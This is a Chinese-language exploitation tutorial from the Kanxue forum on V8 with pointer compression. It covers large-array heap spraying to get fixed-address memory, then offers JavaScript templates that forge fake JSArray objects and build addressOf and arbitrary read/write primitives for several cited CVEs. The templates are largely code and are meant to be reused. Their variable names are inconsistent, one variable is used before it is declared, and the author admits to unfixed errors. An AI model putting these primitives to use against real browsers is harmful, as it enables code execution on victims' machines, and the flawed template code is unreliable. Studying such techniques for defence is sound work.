查看原文
其他

V8漏洞利用之对象伪造漏洞利用模板

XiaozaYa 看雪学苑 2024-04-26




这个利用方式是我在Tokameine✌的一篇文章中看到的,这里给出链接(https://bbs.kanxue.com/thread-273709.htm)。

看了之后感觉比较通用,于是赶紧去适配了下之前我复现过但是没有写出
exp的漏洞(之所以没有写出exp,就是因为伪造对象的地址非常不稳定),然后发现基本上都可以套用一个模板(毕竟差不多都是一样利用原语的漏洞),所以在此作下记录并将这种利用方式总结一下。

然后先叠个
buff,由于写这篇文章的时候脑袋晕晕的,所以会出现一些错误(自己也感觉到了,但是不想改了),所以如果发现错误或者不严谨的地方,希望读者可以雅正。





通用堆喷技术


指针压缩下的通用堆喷技术,效果为:获取一个低 4 字节固定的对象。

感觉利用堆分配特性也行


先来看下V8中堆块管理结构:


0x000020e000000000 0x000020e00014e000 0x0000000000000000 r-x
0x000020e00014e000 0x000020e000180000 0x0000000000000000 ---
0x000020e000180000 0x000020e000183000 0x0000000000000000 rw-
0x000020e000183000 0x000020e000184000 0x0000000000000000 ---
0x000020e000184000 0x000020e00019a000 0x0000000000000000 r-x
0x000020e00019a000 0x000020e0001bf000 0x0000000000000000 ---
0x000020e0001bf000 0x000020e008000000 0x0000000000000000 ---
0x000020e008000000 0x000020e00802a000 0x0000000000000000 r--
0x000020e00802a000 0x000020e008040000 0x0000000000000000 ---
0x000020e008040000 0x000020e00814d000 0x0000000000000000 rw-
0x000020e00814d000 0x000020e008180000 0x0000000000000000 ---
0x000020e008180000 0x000020e008183000 0x0000000000000000 rw-
0x000020e008183000 0x000020e0081c0000 0x0000000000000000 ---
0x000020e0081c0000 0x000020e008240000 0x0000000000000000 rw-
0x000020e008240000 0x000020e100000000 0x0000000000000000 ---


一般而言,普通对象(Array/JSObject)都分配在rw-页面上,我们来看下最后一个堆块的信息:

在堆块页面的起始部分,有一段空间是用来存储堆块的元信息的,在V8的堆结构中有0x2118字节用来存储堆结构相关信息

gef➤ x/16gx 0x000020e0081c0000
0x20e0081c0000: 0x0000000000040000 0x0000000000000004
0x20e0081c0010: 0x000055af1526b0f8 0x000020e0081c2118
0x20e0081c0020: 0x000020e008200000 0x000000000003dee8
0x20e0081c0030: 0x0000000000000000 0x0000000000002118
0x20e0081c0040: 0x000055af152ec570 0x000055af1524fef0
0x20e0081c0050: 0x000020e0081c0000 0x0000000000040000
0x20e0081c0060: 0x000055af152ea320 0x0000000000000000
0x20e0081c0070: 0xffffffffffffffff 0x0000000000000000


堆块相关结构如下:


0x20e0081c0000: size = 0x40000
0x20e0081c0018: 堆的起始地址为0x000020e0081c2118,
0x20e0081c0020: 堆指针,表示该堆已经被使用到哪了,即现在堆指针指向0x000020e008200000
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000
==> 0x000020e0081c2118+0x3dee8 = 0x20e008200000


而该rw-段的大小为0x80000,所以紧接着后面还有其它堆块:


gef➤ x/16gx 0x000020e0081c0000+0x40000
0x20e008200000: 0x0000000000040000 0x0000000000000004
0x20e008200010: 0x000055af1526b0f8 0x000020e008202118
0x20e008200020: 0x000020e008240000 0x000000000003dee8
0x20e008200030: 0x0000000000000000 0x0000000000002118
0x20e008200040: 0x000055af152ecbd0 0x000055af1524fef0
0x20e008200050: 0x000020e008200000 0x0000000000040000
0x20e008200060: 0x000055af152f9ee0 0x0000000000000000
0x20e008200070: 0xffffffffffffffff 0x0000000000000000


结构同上,所以0x000020e0081c0000 0x000020e008240000 0x0000000000000000 rw-内存区域由两个大小为0x40000v8的堆组成。

如果这个时候,我申请一个
0xf700大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆,我们来测试一下:


a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();


a的信息输出如下:


DebugPrint: 0xe1008049939: [JSArray]
- map: 0x0e1008203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x0e10081cc0e9 <JSArray[0]>
- elements: 0x0e1008242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x0e100800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe10080048f1: [String] in ReadOnlySpace: #length: 0x0e100814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e1008242119 <FixedArray[63232]> {
0-63231: 0x0e100800242d <the_hole>
}


注意这里elements指针 为0x0e1008242119,此时查看堆布局:


gef➤ vmmap 0x0e1008242119
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000e10081c0000 0x00000e1008280000 0x0000000000000000 rw-
gef➤ p/x 0x00000e1008280000-0x00000e10081c0000
$2 = 0xc0000


elements字段地址为0x00000e10081c0000+ 0x80000 + 0x2118 + 0x1 = 0x0e1008242119。在启动指针压缩时,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119,而一般情况下其高2字节也是不变的,所以这里其实4字节都已经确认的。

还有一个比较重要的点是,该
FixedArray是一个大对象,其是不受gc影响的,所以这里的效果就是获取一个已经地址的内容可控的内存区域。





利用模板


该方法主要配合上述的通用堆喷技术进行利用。


前提:

◆开启指针压缩


针对漏洞类型:

◆任意地址对象伪造

◆特定地址对象伪造

◆只能修改Array对象的element字段(这里包含同时修改lenelement的情况)


效果:

◆实现4GB堆内的任意地址读写

(后续的利用就看情况了,如何没有沙箱则打ArrayBuffer就行了,如果有沙箱就想办法绕过沙箱,比较通用的绕过沙箱的方式就是利用JIT构造立即数shellocde了)


缺点:

exp不具有通用性,只能针对特定版本利用

这里的漏洞类型只是一个泛称,比如:如何进行任意地址对象伪造需要根据具体的漏洞来看,这里讲的是我们已经构造了一个任意地址对象伪造的原语,接下来该如何进行利用。

针对上面的漏洞类型,笔者也就一些
CVE完成了利用,我发在CSDN上了,感兴趣可以点击链接查看。

任意地址对象伪造比如:CVE-2021-38001(https://blog.csdn.net/qq_61670993/article/details/137217893)、CVE-2023-4427(https://blog.csdn.net/qq_61670993/article/details/137133853)


对于该漏洞,提出以下问题:

◆在哪里伪造对象?要求稳定,比如你在addr这个位置伪造了一个对象,那么这块内存就不能被释放或者内存的内容不能被破坏。

◆如何进行伪造?伪造一个对象,比如JSArray,其基本字段有map/property/len/element,这里的property/len好说,关键是map/element该指向何处。


通过之前讲的通用堆喷技术,我们可以获得一块地址稳定的element区域,这个大对象的地址是已知的,并且不受gc的影响,而且其内容还是可控的,所以在这里伪造再合适不过。


var spray_array = new Array(0xf700).fill(1.1); // 这里是 double 数组
var element_start_addr = ?; // element_start_addr 就是 spray_array 的 element 地址,其是固定的
var data_element_start_addr = element_start_addr + 7; // element 数据部分的其实位置
var map_addr = data_element_start_addr + 0x1000; // 伪造的 map 的地址
var fake_object_array_addr = map_addr + 0x1000; // 伪造的对象的地址,一般漏洞利用中都是伪造 JSArray


然后就是考虑如何去伪造map,这里需要知道的时在取对象时,会检查map,但是只是检查其类型,所以这里我们只需要伪造其前 16 字节即可,这里调试即可知道,前16字节基本是不变的。

这里可能得把map的前8字节改为一个可以访问的地址

// 这里伪造的 double 类型的 map
spray_array[(map_addr -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);


然后是伪造对象,map字段已经伪造好了,那么element该如何伪造呢?这里我们在利用上述通用堆喷技术得到一个地址固定的element区域(理由后面你就懂了)。


var leak_object_array = new Array(0xf700).fill({}); // 这里是 element 数组
var leak_element_start_addr = ?;// leak_element_start_addr 就是 leak_object_array 的 element 地址,其是固定的
// 这里的 0x6cd 具体调试一下就行,特定版本是固定的,因为 JSArray 不需要这个
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);


此时我们就在fake_object_array_addr地址处伪造好了一个JSArray,其是double类型的,并且其element指向leak_element_start_addr,我们将其称作fake_object。

然后通过任意地址对象伪造漏洞获取这个对象fake_object。


var fake_object = trigger(); // 这里 trigger 泛指通过漏洞获取该伪造的对象


此时就可以构造addressOf原语了:

leak_object_arrayfake_object指向的是同一个element,而leak_object_array将其解析为element类型数组,而fake_object将其解析为double数组

function addressOf(obj) {
leak_object_array[0] = obj;
return get_fl(fake_object[0]);
}


然后就是先想办法实现堆内的任意地址读写了,嗯,其实很简单,因为我们的fake_object是完全伪造在spray_array数组的element中的,所以我们可以直接通过spray_array修改fake_objectelement从而就可以实现堆内的任意地址读写了(当然了,不完全任意,因为element要减 8,所以最开始的 8 字节无法读写)。


function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
return f64_to_u64(fake_object[0]);
}

function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffff);
}

function arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
fake_object[0] = u64_to_f64(val);
}


所以最后模板如下:


var spray_array = new Array(0xf700).fill(1.1);
var leak_object_array = new Array(0xf700).fill({});
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var leak_element_start_addr = ?;
spray_array[(map_addr -data_start_addr) / 8] = u64_to_f64(?);
spray_array[(map_addr -data_start_addr) / 8 + 1] = u64_to_f64(?);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);

var fake_object = trigger();

function addressOf(obj) {
leak_object_array[0] = obj;
return get_fl(fake_object[0]);
}

function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
return f64_to_u64(fake_object[0]);
}

function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffff);
}

function arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
fake_object[0] = u64_to_f64(val);
}


只能修改JSArray对象的element字段比如Issue 2046(https://blog.csdn.net/qq_61670993/article/details/136671278)。


这里只能修改JSArray对象的element字段其实不准确,这里是因为有些漏洞,我们必须写入 8 字节,而在指针压缩下len|element一起构成了 8 字节,所以修改len的同时会修改element,并且还无法错位写element,上面的示例漏洞就是这样的。

这里其实可以将element修改为1,然后选几个区域进行爆破,但是成功率你懂的,反正我没成功过


这里就直接说结论了,这里被修改element字段的对象笔者称作victim_array

先利用通用堆喷技术创建一个spray_array,这里这里spray_array的类型为element。


var spray_array = new Array(0xf700).fill({}); // 注意
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;


然后利用漏洞修改victim_arrayelement字段,使其指向element_start_addr


var victim_array = [1.1, 1.1, 1.1, 1.1];
// trigger bug ==> victim_array->element = element_start_addr


此时就可以构造addressOf原语了。

spray_arrayvictim_array指向的是同一个element,而spray_array将其解析为element类型数组,而victim_array将其解析为double数组

function addressOf(obj) {
spray_array[0] = obj;
return get_fl(victim_array[0]);
}


然后就考虑如何进行堆上的任意地址读写了,很简单其实,还是利用spray_arrayvictim_arrayelement指向的是同一块内存,所以利用victim_arrayelement上伪造一个对象,然后spray_array直接读取就获取这个伪造的对象了。

这里还可以更简单的,笔者搞复杂了,但是不管了

victim_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, ?); // 这里也可以直接照抄
victim_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(?);
victim_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
victim_array[(save_fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);


然后利用spray_array取出该伪造的对象:

var fake_object = spray_array[(save_fake_object_addr - data_element_start_addr) / 4];


后面的堆内任意地址读写就比较简单了,直接利用victim_array修改fake_objectelement即可。


function arb_read_cage(addr) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(fake_object[0]);
}

function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffffn);
}

function arb_write_full_cage(addr, val) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
fake_object[0] = u64_to_f64(val);
}


模板如下:


var spray_array = new Array(0xf700).fill({}); // 注意
var element_start_addr = ?;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var save_fake_object_array_addr = fake_object_array_addr + 0x200;
victim_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, ?); // 这里也可以直接照抄
victim_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(?);
victim_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);
victim_array[(save_fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);

var victim_array = [1.1, 1.1, 1.1, 1.1];
// trigger bug ==> victim_array->element = element_start_addr

function addressOf(obj) {
spray_array[0] = obj;
return get_fl(victim_array[0]);
}

var fake_object = spray_array[(save_fake_object_addr - data_element_start_addr) / 4];

function arb_read_cage(addr) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(fake_object[0]);
}

function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_object[0] = pair_u32_to_f64(val, orig_val&0xffffffffn);
}

function arb_write_full_cage(addr, val) {
victim_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
fake_object[0] = u64_to_f64(val);
}


特定地址对象伪造比如CVE-2022-1310(https://blog.csdn.net/qq_61670993/article/details/136708292)


这个其实跟二个差不多,单独拿出来,是因为写这个exp时,我遇到了很多玄学问题,如果劫持backing_stroe后无法往rwx页面写shellcode。所以这里就不写了,读者可以尝试复现上面的CVE,毕竟自己动手才有深刻的印象。




总结


总的来说,笔者感觉这个方法还是比较好用的,笔者也用该方法完成了之前没有完成的利用(各种玄学原因),但是其需要版本适配,所以并不是特别完美。



参考:

https://bbs.kanxue.com/thread-273709.htm





看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛精华文章,由 XiaozaYa 原创,转载请注明来自看雪社区



# 往期推荐

1、常见的固件加解密方式与D-Link固件解密实战分析

2、.NET 恶意软件 101:分析 .NET 可执行文件结构

3、CVE-2024-0015复现 (DubheCTF DayDream)

4、Unity的et热更新分析和补丁

5、Pwnable.kr 解题笔记

6、安卓逆向基础知识之动态调试及安卓逆向常规手段



球分享

球点赞

球在看



点击阅读原文查看更多

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存